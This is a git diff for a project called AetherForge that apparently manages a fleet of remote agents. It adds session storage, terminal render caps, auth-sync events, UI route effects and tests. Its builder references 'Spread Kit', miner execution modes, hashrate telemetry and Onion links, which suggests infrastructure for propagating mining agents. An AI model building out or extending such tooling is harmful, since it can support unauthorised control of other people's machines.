first["reason"] != "image not found" { + t.Errorf("first failure = %v", first) + } + case <-time.After(2 * time.Second): + t.Fatal("timed out waiting for stats_batch with failed_methods") + } +} + // stopStatsBatchTimer cancels the 250ms flush timer so tests can read statsBatch // without racing flushStatsBatch clearing the pending map. func stopStatsBatchTimer(hub *WSHub) { diff --git a/server/internal/api/ws_types.go b/server/internal/api/ws_types.go index dc9ebeb..c1eea0a 100644 --- a/server/internal/api/ws_types.go +++ b/server/internal/api/ws_types.go @@ -6,6 +6,9 @@ package api type WSDashboardInit struct { Agents []interface{} `json:"agents"` + Total int `json:"total,omitempty"` + Limit int `json:"limit,omitempty"` + Offset int `json:"offset,omitempty"` } type WSAgentOffline struct { diff --git a/server/internal/db/pathtrace_sessions.go b/server/internal/db/pathtrace_sessions.go new file mode 100644 index 0000000..476a45f --- /dev/null +++ b/server/internal/db/pathtrace_sessions.go @@ -0,0 +1,73 @@ +package db + +import ( + "database/sql" + "time" +) + +// PathTraceSessionRow is one persisted Path Tracer session blob. +type PathTraceSessionRow struct { + ID string + CreatedAt time.Time + Payload []byte +} + +// UpsertPathTraceSession stores or replaces a session JSON blob. +func (d *Database) UpsertPathTraceSession(id string, createdAt time.Time, payload []byte) error { + _, err := d.Exec( + `INSERT INTO pathtrace_sessions (id, created_at, payload) + VALUES (?, ?, ?) + ON CONFLICT(id) DO UPDATE SET created_at = excluded.created_at, payload = excluded.payload`, + id, createdAt.UTC().Format(time.RFC3339Nano), payload, + ) + return err +} + +// ListPathTraceSessions returns all session rows ordered by age. +func (d *Database) ListPathTraceSessions() ([]PathTraceSessionRow, error) { + rows, err := d.Query(`SELECT id, created_at, payload FROM pathtrace_sessions ORDER BY created_at ASC`) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []PathTraceSessionRow + for rows.Next() { + var row PathTraceSessionRow + var created string + if err := rows.Scan(&row.ID, &created, &row.Payload); err != nil { + return nil, err + } + row.CreatedAt, _ = time.Parse(time.RFC3339Nano, created) + if row.CreatedAt.IsZero() { + row.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created) + } + out = append(out, row) + } + return out, rows.Err() +} + +// DeletePathTraceSession removes one session row. +func (d *Database) DeletePathTraceSession(id string) error { + _, err := d.Exec(`DELETE FROM pathtrace_sessions WHERE id = ?`, id) + return err +} + +// DeleteExpiredPathTraceSessions removes rows older than cutoff. +func (d *Database) DeleteExpiredPathTraceSessions(cutoff time.Time) (int64, error) { + res, err := d.Exec(`DELETE FROM pathtrace_sessions WHERE created_at < ?`, cutoff.UTC().Format(time.RFC3339Nano)) + if err != nil { + return 0, err + } + return res.RowsAffected() +} + +// PathTraceSessionCount returns how many session rows exist. +func (d *Database) PathTraceSessionCount() (int, error) { + var n int + err := d.QueryRow(`SELECT COUNT(*) FROM pathtrace_sessions`).Scan(&n) + if err == sql.ErrNoRows { + return 0, nil + } + return n, err +} diff --git a/server/internal/db/pathtrace_sessions_test.go b/server/internal/db/pathtrace_sessions_test.go new file mode 100644 index 0000000..b7f1718 --- /dev/null +++ b/server/internal/db/pathtrace_sessions_test.go @@ -0,0 +1,36 @@ +package db + +import ( + "testing" + "time" +) + +func TestPathTraceSessionPersistenceAndSweep(t *testing.T) { + d := openTestDB(t) + + fresh := []byte(`{"id":"sess-fresh","ready":true}`) + stale := []byte(`{"id":"sess-stale","ready":false}`) + + if err := d.UpsertPathTraceSession("sess-fresh", time.Now().Add(-30*time.Minute), fresh); err != nil { + t.Fatal(err) + } + if err := d.UpsertPathTraceSession("sess-stale", time.Now().Add(-3*time.Hour), stale); err != nil { + t.Fatal(err) + } + + deleted, err := d.DeleteExpiredPathTraceSessions(time.Now().Add(-2 * time.Hour)) + if err != nil { + t.Fatal(err) + } + if deleted != 1 { + t.Fatalf("expected 1 stale row deleted, got %d", deleted) + } + + rows, err := d.ListPathTraceSessions() + if err != nil { + t.Fatal(err) + } + if len(rows) != 1 || rows[0].ID != "sess-fresh" { + t.Fatalf("expected fresh session only, got %+v", rows) + } +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 1163b45..a36b91c 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -241,6 +241,12 @@ func (d *Database) migrate() error { created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP )`, `CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`, + `CREATE TABLE IF NOT EXISTS pathtrace_sessions ( + id TEXT PRIMARY KEY, + created_at DATETIME NOT NULL, + payload TEXT NOT NULL + )`, + `CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`, } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { @@ -252,6 +258,7 @@ func (d *Database) migrate() error { scaleIndexes := []string{ `CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`, `CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`, + `CREATE INDEX IF NOT EXISTS idx_agents_status_last_seen ON agents(status, last_seen)`, `CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`, } for _, m := range scaleIndexes { diff --git a/server/internal/db/sqlite_test.go b/server/internal/db/sqlite_test.go index cb9e079..c514f1a 100644 --- a/server/internal/db/sqlite_test.go +++ b/server/internal/db/sqlite_test.go @@ -64,6 +64,36 @@ func TestGetAgentNotFound(t *testing.T) { } } +func TestUpsertAgentPreservesOperatorNameWhenDiffersFromHostname(t *testing.T) { + d := openTestDB(t) + a := &models.Agent{ + ID: "renamed-worker", + Name: "Living Room PC", + Hostname: "DESKTOP-ABC123", + Status: "offline", + LastSeen: time.Now(), + } + if err := d.UpsertAgent(a); err != nil { + t.Fatal(err) + } + + // Reconnect reports hostname only — UpsertAgent must keep operator label. + a.Name = "DESKTOP-ABC123" + a.Hostname = "DESKTOP-ABC123" + a.Status = "online" + if err := d.UpsertAgent(a); err != nil { + t.Fatal(err) + } + + got, err := d.GetAgent(a.ID) + if err != nil { + t.Fatal(err) + } + if got.Name != "Living Room PC" { + t.Fatalf("operator name should be preserved; got %q hostname=%q", got.Name, got.Hostname) + } +} + func TestUpsertAgentPreservesCreatedAt(t *testing.T) { d := openTestDB(t) a := seedAgent(t, d, "persist-created") diff --git a/server/web/src/api/auth.test.ts b/server/web/src/api/auth.test.ts index e3a3972..86e544c 100644 --- a/server/web/src/api/auth.test.ts +++ b/server/web/src/api/auth.test.ts @@ -77,4 +77,14 @@ describe('auth session helpers', () => { expect(consumeAuthExpiredFlag()).toBe(true); expect(consumeAuthExpiredFlag()).toBe(false); }); + + it('dispatches aetherforge-auth on login and logout', () => { + const handler = vi.fn(); + window.addEventListener('aetherforge-auth', handler); + setStoredAuth('user', 'pass'); + expect(handler).toHaveBeenCalledTimes(1); + clearStoredAuth(); + expect(handler).toHaveBeenCalledTimes(2); + window.removeEventListener('aetherforge-auth', handler); + }); }); diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index bfaa794..14a2971 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -12,10 +12,12 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs'; import SetupBanner from '../SetupBanner'; import { getSetupStatus } from '../../help/setupStatus'; import { resolvePageWeather } from '../../help/pageWeather'; +import { isDashboardRoute } from '../../help/routeEffects'; import { api } from '../../api/client'; import { usePresence } from '../../context/PresenceContext'; import { useVisualEffects } from '../../context/VisualEffectsContext'; import ComradeAvatar from '../Presence/ComradeAvatar'; +import { formatAppVersion } from '../../help/appVersion'; import type { ServerConfig, ServerInfo } from '../../types'; import '../Presence/Presence.css'; import './Layout.css'; @@ -280,6 +282,7 @@ export default function Layout({ children }: LayoutProps) { const setupStatus = getSetupStatus(serverConfig, serverInfo); const pageWeather = resolvePageWeather(location.pathname); + const showDeckEffects = isDashboardRoute(location.pathname); const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); const mobileShortLabel: Record = { '/dashboard': 'Deck', @@ -296,7 +299,7 @@ export default function Layout({ children }: LayoutProps) { className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`} data-operator-deck={operatorDeckId(location.pathname)} > - {!isMobile && glowParticles && } + {!isMobile && glowParticles && showDeckEffects && } {glowParticles && } diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index f957a1f..ee40148 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -837,6 +837,19 @@ describe('SystemStatusBar', () => { expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument(); }); }); + + it('derives fleet counts from WebSocket agents, not REST listAgents', async () => { + const listAgentsSpy = vi.spyOn(api, 'listAgents'); + render( + + + + ); + await waitFor(() => { + expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument(); + }); + expect(listAgentsSpy).not.toHaveBeenCalled(); + }); }); describe('FleetTopologyMap', () => { @@ -925,4 +938,32 @@ describe('Layout', () => { expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument(); expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument(); }); + + it('mounts MatrixRain and CursorFire on Command Deck only', async () => { + const { container: deck } = render( + + +
deck
+
+
+ ); + await waitFor(() => { + expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy(); + expect(deck.querySelector('.cursor-fire-fx')).toBeTruthy(); + }); + cleanup(); + + const { container: crucible } = render( + + +
crucible
+
+
+ ); + await waitFor(() => { + expect(screen.getByText('crucible')).toBeInTheDocument(); + }); + expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull(); + expect(crucible.querySelector('.cursor-fire-fx')).toBeNull(); + }); }); diff --git a/server/web/src/help/architectureDeferred.test.ts b/server/web/src/help/architectureDeferred.test.ts new file mode 100644 index 0000000..022f787 --- /dev/null +++ b/server/web/src/help/architectureDeferred.test.ts @@ -0,0 +1,20 @@ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import { describe, expect, it } from 'vitest'; + +const crucibleSrc = readFileSync(resolve(__dirname, '../pages/CruciblePage.tsx'), 'utf8'); +const wsProviderSrc = readFileSync(resolve(__dirname, '../context/WebSocketProvider.tsx'), 'utf8'); + +describe('architecture deferred (frontend)', () => { + it('CruciblePage remains monolithic until section split lands', () => { + expect(crucibleSrc.split('\n').length).toBeGreaterThan(1500); + }); + + it('WebSocketProvider is still a single shared context', () => { + expect(wsProviderSrc).toContain('WebSocketContext'); + }); + + it('terminal render cap documents virtualization ceiling', () => { + expect(crucibleSrc).toContain('visibleTerminalLines'); + }); +}); diff --git a/server/web/src/help/authStoragePolicy.test.ts b/server/web/src/help/authStoragePolicy.test.ts new file mode 100644 index 0000000..be847d3 --- /dev/null +++ b/server/web/src/help/authStoragePolicy.test.ts @@ -0,0 +1,58 @@ +/** + * @vitest-environment happy-dom + */ +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { + AUTH_CROSS_TAB_STORAGE_SYNC, + AUTH_STORAGE_KEY, + AUTH_SYNC_EVENT, + describeAuthStoragePolicy, +} from './authStoragePolicy'; +import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth'; + +describe('authStoragePolicy', () => { + beforeEach(() => { + sessionStorage.clear(); + localStorage.clear(); + }); + + it('documents dual storage with same-tab event sync only', () => { + expect(describeAuthStoragePolicy()).toMatch(/dual-write/); + expect(describeAuthStoragePolicy()).toMatch(/aetherforge-auth/); + expect(AUTH_CROSS_TAB_STORAGE_SYNC).toBe(false); + expect(AUTH_STORAGE_KEY).toBe('aetherforge_auth'); + expect(AUTH_SYNC_EVENT).toBe('aetherforge-auth'); + }); + + it('dispatches aetherforge-auth on login for same-tab listeners', () => { + const handler = vi.fn(); + window.addEventListener(AUTH_SYNC_EVENT, handler); + setStoredAuth('ops', 'secret'); + expect(handler).toHaveBeenCalledTimes(1); + window.removeEventListener(AUTH_SYNC_EVENT, handler); + }); + + it('dispatches aetherforge-auth on logout for same-tab listeners', () => { + setStoredAuth('ops', 'secret'); + const handler = vi.fn(); + window.addEventListener(AUTH_SYNC_EVENT, handler); + clearStoredAuth(); + expect(handler).toHaveBeenCalledTimes(1); + window.removeEventListener(AUTH_SYNC_EVENT, handler); + }); + + it('keeps sessionStorage auth when localStorage cleared externally (no cross-tab logout)', () => { + setStoredAuth('ops', 'secret'); + const token = getStoredAuth(); + localStorage.removeItem(AUTH_STORAGE_KEY); + window.dispatchEvent( + new StorageEvent('storage', { + key: AUTH_STORAGE_KEY, + oldValue: token, + newValue: null, + storageArea: localStorage, + }) + ); + expect(getStoredAuth()).toBe(token); + }); +}); diff --git a/server/web/src/help/authStoragePolicy.ts b/server/web/src/help/authStoragePolicy.ts new file mode 100644 index 0000000..c987601 --- /dev/null +++ b/server/web/src/help/authStoragePolicy.ts @@ -0,0 +1,24 @@ +/** + * Cross-tab auth storage policy (document-only). + * + * Credentials mirror in sessionStorage and localStorage under `aetherforge_auth`. + * Reads prefer sessionStorage, then fall back to localStorage (survives tab close). + * + * Same-tab sync: login/logout dispatch the `aetherforge-auth` CustomEvent so SessionGate, + * WebSocketProvider, and PresenceContext re-read credentials without a full reload. + * + * Cross-tab: intentionally NOT synced via the `storage` event. Logout in tab A clears + * localStorage but tab B keeps in-memory session until refresh or a 401. Each tab owns + * its WS lifecycle after auth changes in that tab. + */ + +export const AUTH_STORAGE_KEY = 'aetherforge_auth'; +export const AUTH_EXPIRED_FLAG_KEY = 'aetherforge_auth_expired'; +export const AUTH_SYNC_EVENT = 'aetherforge-auth'; + +/** By policy we never listen to cross-tab `storage` events for auth. */ +export const AUTH_CROSS_TAB_STORAGE_SYNC = false; + +export function describeAuthStoragePolicy(): string { + return 'dual-write session+local; same-tab aetherforge-auth; no storage-event cross-tab sync'; +} diff --git a/server/web/src/help/forgeRules.test.ts b/server/web/src/help/forgeRules.test.ts index a389089..5308025 100644 --- a/server/web/src/help/forgeRules.test.ts +++ b/server/web/src/help/forgeRules.test.ts @@ -373,7 +373,10 @@ describe('getForgeFieldMeta', () => { describe('getForgeLiveNotices', () => { it('returns empty array for a plain windows form', () => { - const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false); + const notices = getForgeLiveNotices( + baseForm({ target_os: 'windows', spread_kit: false, miner_execution: 'inprocess' }), + false + ); expect(notices).toEqual([]); }); @@ -450,4 +453,15 @@ describe('getForgeLiveNotices', () => { ); expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true); }); + + it('warns when container/auto execution needs worker image', () => { + const auto = getForgeLiveNotices(baseForm({ miner_execution: 'auto' }), false); + expect(auto.some((n) => n.includes('agent-worker'))).toBe(true); + + const container = getForgeLiveNotices(baseForm({ miner_execution: 'container' }), false); + expect(container.some((n) => n.includes('Dockerfile.agent'))).toBe(true); + + const inprocess = getForgeLiveNotices(baseForm({ miner_execution: 'inprocess' }), false); + expect(inprocess.some((n) => n.includes('agent-worker'))).toBe(false); + }); }); diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 1061580..bd981c9 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -315,6 +315,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record { + it('matches Command Deck paths', () => { + expect(isDashboardRoute('/dashboard')).toBe(true); + expect(isDashboardRoute('/dashboard/')).toBe(true); + expect(isDashboardRoute('/')).toBe(true); + }); + + it('rejects other operator deck routes', () => { + expect(isDashboardRoute('/crucible')).toBe(false); + expect(isDashboardRoute('/forge')).toBe(false); + expect(isDashboardRoute('/settings')).toBe(false); + expect(isDashboardRoute('/pathtracer')).toBe(false); + }); +}); diff --git a/server/web/src/help/routeEffects.ts b/server/web/src/help/routeEffects.ts new file mode 100644 index 0000000..f4a4e7b --- /dev/null +++ b/server/web/src/help/routeEffects.ts @@ -0,0 +1,5 @@ +/** True when pathname is Command Deck (`/dashboard` or `/`). */ +export function isDashboardRoute(pathname: string): boolean { + const path = pathname.split('?')[0].replace(/\/$/, '') || '/'; + return path === '/dashboard' || path === '/'; +} diff --git a/server/web/src/help/terminalRenderCap.test.ts b/server/web/src/help/terminalRenderCap.test.ts new file mode 100644 index 0000000..49341a8 --- /dev/null +++ b/server/web/src/help/terminalRenderCap.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest'; +import { TERM_RENDER_CAP, visibleTerminalLines } from './terminalRenderCap'; + +describe('terminalRenderCap', () => { + it('renders only the newest window at cap', () => { + const lines = Array.from({ length: TERM_RENDER_CAP + 25 }, (_, i) => `line-${i}`); + const { visible, truncated, hidden } = visibleTerminalLines(lines); + expect(visible).toHaveLength(TERM_RENDER_CAP); + expect(visible[0]).toBe('line-25'); + expect(truncated).toBe(true); + expect(hidden).toBe(25); + }); +}); diff --git a/server/web/src/help/terminalRenderCap.ts b/server/web/src/help/terminalRenderCap.ts new file mode 100644 index 0000000..40fb723 --- /dev/null +++ b/server/web/src/help/terminalRenderCap.ts @@ -0,0 +1,17 @@ +/** Max terminal lines rendered in the DOM; full history stays in state for export. */ +export const TERM_RENDER_CAP = 400; + +export function visibleTerminalLines(lines: T[]): { + visible: T[]; + truncated: boolean; + hidden: number; +} { + if (lines.length <= TERM_RENDER_CAP) { + return { visible: lines, truncated: false, hidden: 0 }; + } + return { + visible: lines.slice(-TERM_RENDER_CAP), + truncated: true, + hidden: lines.length - TERM_RENDER_CAP, + }; +} diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index a59a7fd..d8fcfe9 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -35,6 +35,7 @@ import AlsoHere from '../components/Presence/AlsoHere'; import { HelpTip } from '../components/HelpTip'; import '../components/Fleet/FullSysCheckPanel.css'; import '../components/Fleet/FleetToolbar.css'; +import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap'; import './CruciblePage.css'; // ── Types ────────────────────────────────────────────────────────────────── @@ -326,9 +327,6 @@ if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'} const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`; -/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */ -const TERM_RENDER_CAP = 400; - /** Roster page size — avoids rendering 500+ node cards at once. */ const ROSTER_PAGE_SIZE = 80; @@ -427,11 +425,10 @@ export default function CruciblePage() { const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null; - const visibleTermLines = useMemo( - () => (termLines.length > TERM_RENDER_CAP ? termLines.slice(-TERM_RENDER_CAP) : termLines), + const { visible: visibleTermLines, truncated: termTruncated, hidden: termHidden } = useMemo( + () => visibleTerminalLines(termLines), [termLines], ); - const termTruncated = termLines.length > TERM_RENDER_CAP; const dispatchTunnelCommand = useCallback( async (action: string, args?: Record) => { @@ -1548,7 +1545,7 @@ export default function CruciblePage() { )} {termTruncated && (
- … {termLines.length - TERM_RENDER_CAP} older lines hidden (CLEAR to reset) + … {termHidden} older lines hidden (CLEAR to reset)
)} {visibleTermLines.map((line) => { diff --git a/server/web/src/pages/EmberwakePage.test.tsx b/server/web/src/pages/EmberwakePage.test.tsx index d20ff32..c7bd1d3 100644 --- a/server/web/src/pages/EmberwakePage.test.tsx +++ b/server/web/src/pages/EmberwakePage.test.tsx @@ -127,7 +127,19 @@ describe('EmberwakePage', () => { }); // load() runs once on mount — pin ref fix must not cascade into repeated fetches. expect(listSpy.mock.calls.length).toBeLessThanOrEqual(2); - // War room loads once on mount; hashrate telemetry comes from WS stats_batch (no poll loop). + // War room loads once on mount; live funnel uses WS emberwake_war_room (no poll loop). expect(warRoomSpy.mock.calls.length).toBeLessThanOrEqual(2); }); + + it('does not poll war room on an interval', async () => { + const warRoomSpy = vi.spyOn(api, 'getWarRoom'); + renderEmberwake(); + await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + await waitFor(() => { + expect(warRoomSpy.mock.calls.length).toBeGreaterThan(0); + }); + const initialCalls = warRoomSpy.mock.calls.length; + await new Promise((r) => setTimeout(r, 50)); + expect(warRoomSpy.mock.calls.length).toBe(initialCalls); + }); }); diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 2729cd1..fe052af 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -7,6 +7,9 @@ import type { Agent, AgentService } from '../types'; */ export interface WSDashboardInit { agents: Agent[]; + total?: number; + limit?: number; + offset?: number; } export interface WSAgentOffline { diff --git a/tests/README.md b/tests/README.md index f7f0657..9b8f330 100644 --- a/tests/README.md +++ b/tests/README.md @@ -29,6 +29,14 @@ One command runs everything: test.bat ``` +From repo root with GNU Make (same as `test.bat`): + +```make +make test +make test-quick # -SkipE2E +make test-fast # -SkipE2E -SkipBuild +``` + Or with PowerShell directly: ```powershell